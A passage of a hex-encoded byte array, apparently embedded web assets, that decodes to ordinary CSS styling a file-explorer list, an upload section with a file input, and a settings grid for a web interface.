0x6F, 0x6C, 0x75, 0x74, 0x65, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, + 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x31, 0x35, 0x70, 0x78, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x35, 0x34, 0x25, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x74, 0x72, 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, 0x20, 0x74, + 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x59, 0x28, 0x2D, 0x35, + 0x30, 0x25, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, + 0x72, 0x2D, 0x65, 0x76, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x20, 0x6E, 0x6F, + 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, + 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x70, + 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, + 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x34, 0x70, + 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, + 0x72, 0x65, 0x72, 0x20, 0x6C, 0x69, 0x3A, 0x68, 0x61, 0x73, 0x28, 0x2E, + 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x6E, 0x61, 0x6D, 0x65, 0x2E, 0x66, 0x6F, + 0x6C, 0x64, 0x65, 0x72, 0x29, 0x3A, 0x62, 0x65, 0x66, 0x6F, 0x72, 0x65, + 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, + 0x20, 0x27, 0x5C, 0x32, 0x35, 0x42, 0x36, 0x27, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, + 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x6C, + 0x69, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, + 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, + 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x66, + 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x2D, + 0x69, 0x74, 0x65, 0x6D, 0x73, 0x3A, 0x20, 0x63, 0x65, 0x6E, 0x74, 0x65, + 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, + 0x64, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, + 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, + 0x65, 0x78, 0x74, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x29, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, + 0x65, 0x72, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x6E, 0x61, 0x6D, + 0x65, 0x2E, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, 0x70, 0x6F, 0x69, 0x6E, + 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, + 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, + 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, + 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x2E, + 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x6E, 0x61, 0x6D, 0x65, 0x2E, 0x66, 0x6F, + 0x6C, 0x64, 0x65, 0x72, 0x3A, 0x3A, 0x62, 0x65, 0x66, 0x6F, 0x72, 0x65, + 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, + 0x20, 0x27, 0xF0, 0x9F, 0x93, 0x81, 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, + 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x72, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, + 0x31, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, + 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, + 0x2D, 0x6E, 0x61, 0x6D, 0x65, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x3A, 0x3A, + 0x62, 0x65, 0x66, 0x6F, 0x72, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, + 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x27, 0xF0, 0x9F, 0x93, 0x84, + 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x72, + 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x31, 0x30, 0x70, 0x78, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, + 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, + 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x61, 0x63, 0x74, 0x69, 0x6F, + 0x6E, 0x73, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, + 0x79, 0x3A, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x67, 0x61, + 0x70, 0x3A, 0x20, 0x31, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x55, 0x70, + 0x6C, 0x6F, 0x61, 0x64, 0x20, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, + 0x20, 0x53, 0x74, 0x79, 0x6C, 0x69, 0x6E, 0x67, 0x20, 0x2A, 0x2F, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x75, 0x70, + 0x6C, 0x6F, 0x61, 0x64, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, + 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x74, + 0x6F, 0x70, 0x3A, 0x20, 0x33, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, + 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, + 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, + 0x28, 0x2D, 0x2D, 0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x61, 0x72, 0x79, + 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, + 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, + 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, + 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, + 0x69, 0x75, 0x73, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x75, 0x70, 0x6C, + 0x6F, 0x61, 0x64, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, + 0x3E, 0x20, 0x3A, 0x66, 0x69, 0x72, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, + 0x6C, 0x64, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, + 0x2D, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x75, 0x70, 0x6C, 0x6F, + 0x61, 0x64, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x3E, + 0x20, 0x3A, 0x6C, 0x61, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, 0x6C, 0x64, + 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, + 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x75, 0x70, 0x6C, + 0x6F, 0x61, 0x64, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, + 0x68, 0x33, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x61, + 0x6C, 0x69, 0x67, 0x6E, 0x3A, 0x20, 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, + 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, + 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, + 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x2E, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x2D, + 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x69, 0x6E, 0x70, 0x75, + 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x66, 0x69, 0x6C, 0x65, + 0x22, 0x5D, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, + 0x67, 0x3A, 0x20, 0x31, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, + 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x36, 0x70, + 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, + 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, + 0x72, 0x28, 0x2D, 0x2D, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x62, 0x67, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, + 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, + 0x72, 0x28, 0x2D, 0x2D, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x62, 0x6F, + 0x72, 0x64, 0x65, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, + 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x65, 0x78, + 0x74, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, + 0x75, 0x73, 0x3A, 0x20, 0x36, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, + 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x62, 0x6F, + 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, + 0x2E, 0x33, 0x73, 0x2C, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, + 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, + 0x33, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2E, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x2D, 0x73, 0x65, + 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, + 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x66, 0x69, 0x6C, 0x65, 0x22, 0x5D, + 0x3A, 0x66, 0x6F, 0x63, 0x75, 0x73, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, + 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, + 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, + 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, + 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, + 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x6F, 0x75, 0x74, 0x6C, 0x69, 0x6E, 0x65, 0x3A, 0x20, 0x6E, + 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2E, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x2D, 0x73, + 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, + 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, + 0x31, 0x35, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6E, 0x67, 0x73, 0x20, 0x47, 0x72, 0x69, 0x64, 0x20, 0x2A, 0x2F, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, + 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x67, 0x72, 0x69, 0x64, + 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, + 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6C, 0x65, 0x78, + 0x2D, 0x77, 0x72, 0x61, 0x70, 0x3A, 0x20, 0x77, 0x72, 0x61, 0x70, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x67, 0x61, 0x70, 0x3A, 0x20, 0x32, 0x38, 0x70, 0x78, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, + 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, + 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6C, 0x65, 0x78, + 0x3A, 0x20, 0x31, 0x20, 0x31, 0x20, 0x63, 0x61, 0x6C, 0x63, 0x28, 0x35, + 0x30, 0x25, 0x20, 0x2D, 0x20, 0x32, 0x30, 0x70, 0x78, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, + 0x2D, 0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x61, 0x72, 0x79, 0x2D, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, + 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, + 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, + 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x32, 0x30, 0x70, + 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, + 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x33, 0x30, 0x70, 0x78, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, + 0x72, 0x65, 0x6C, 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x65, 0x74, + 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, + 0x6E, 0x20, 0x3E, 0x20, 0x3A, 0x66, 0x69, 0x72, 0x73, 0x74, 0x2D, 0x63, + 0x68, 0x69, 0x6C, 0x64, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, + 0x69, 0x6E, 0x2D, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, + 0x0A, 